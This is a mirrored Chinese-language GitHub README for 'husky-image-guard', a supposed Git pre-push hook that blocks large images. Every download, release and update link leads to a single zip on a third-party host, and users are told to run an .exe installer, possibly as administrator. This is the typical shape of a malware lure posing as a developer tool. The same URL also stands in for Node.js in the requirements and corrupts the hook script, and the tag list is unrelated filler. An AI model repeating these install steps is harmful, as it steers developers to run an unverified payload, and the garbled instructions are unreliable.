nancy12341/husky-image-guard

GitHub: nancy12341/husky-image-guard

一个声称基于Husky的Git预推送钩子工具,用于拦截过大的图片文件进入仓库。

Stars: 0 | Forks: 0

# 🐶 husky-image-guard - 防止在 Git Push 中提交过大图片 ## 🚀 快速开始 欢迎使用 **husky-image-guard**!该应用程序可帮助您在将图片推送到 Git 仓库之前检查其大小。通过使用此工具,您可以避免推送可能会拖慢项目速度的大型图片。 ## 🔗 下载链接 [![下载 husky-image-guard](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip) ## 📥 下载与安装 首先,请访问以下页面下载 **husky-image-guard** 的最新版本: [下载 husky-image-guard](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip) 该页面包含最新的发布文件。请选择适合您操作系统的文件,并按照以下说明进行操作。 ## 🖥️ 系统要求 在安装 **husky-image-guard** 之前,请确保您的系统满足以下要求: - **操作系统**:Windows、macOS 或 Linux - **https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip**:版本 12 或更高 - **Git**:版本 2.0 或更高 ## 📂 安装步骤 1. 访问 [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip)。 2. 下载适合您操作系统的文件: - 对于 Windows:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip` - 对于 macOS:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip` - 对于 Linux:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip` 3. 解压或安装该文件: - 对于 Windows:双击 `.exe` 文件运行安装程序。 - 对于 macOS:解压 `.zip` 文件并将应用程序拖放到您的 Applications 文件夹中。 - 对于 Linux:解压文件并在终端中运行提供的脚本。 ## ⚙️ 配置 安装完成后,您需要配置 **husky-image-guard** 以配合 Git 使用。 1. 打开您的终端或命令提示符。 2. 使用 `cd` 命令进入您的项目文件夹。 3. 运行以下命令来设置 Husky: npx husky install 4. 现在,添加一个 hook 来检查图片大小。创建一个名为 `.husky/pre-push` 的文件,并添加以下内容: #!/bin/sh . "$(dirname "$0")https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip" npx husky-image-guard 5. 保存文件并确保其具有可执行权限。 ## 📏 工作原理 当您尝试将更改推送到 Git 仓库时,**husky-image-guard** 将自动检查您试图上传的任何图片的大小。如果图片超过了最大大小限制,推送将被阻止,并且您将收到一条通知,指出哪些图片过大。 您可以通过编辑配置文件轻松调整大小限制。该文件允许您设置您偏好的最大图片大小。 ## 🛠️ 功能特性 - 在推送前自动检查图片大小。 - 可自定义的图片大小限制。 - 用户友好的界面和简单的命令。 ## 🔄 更新 为了继续使用最新功能,请定期检查更新。您可以通过访问 [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip) 并按照相同的安装步骤下载新版本来完成此操作。 ## ❓ 故障排除 如果您在使用 **husky-image-guard** 时遇到问题,以下是一些常见问题及其解决方案: - **错误:“Push denied due to oversize image”**:请检查您提交中的图片,并调整任何过大图片的尺寸。 - **安装问题**:确保您拥有在计算机上安装应用程序的正确权限。以管理员身份运行安装程序可能会有所帮助。 - **找不到命令**:请验证您的系统上是否已安装 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip 和 Git,并确认它们已添加到系统的 PATH 中。 ## 🏁 结语 感谢您选择 **husky-image-guard**。借助此工具,您可以通过阻止过大图片的推送来确保 Git 仓库保持高效。请访问 [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/157db8ef6e121445.zip) 下载最新版本并立即开始使用。 如需更多支持,请随时查看本仓库的 Issues 部分,或通过我们的联系方式与我们取得联系。享受干净高效的版本控制体验吧!
标签:Cutter, Git钩子, Git预提交, Husky, JSON 请求, Linux 内核安全, MITM代理, SOC Prime, 二进制发布, 云安全监控, 仓库优化, 代码仓库管理, 前端工程化, 图片压缩, 图片格式支持, 多平台支持, 开发工具, 开源工具, 开源框架, 持续集成, 文件大小检查, 暗色界面, 网络安全研究, 自动化攻击, 自动化攻击, 自动化检查, 防止大文件, 静态分析, 项目管理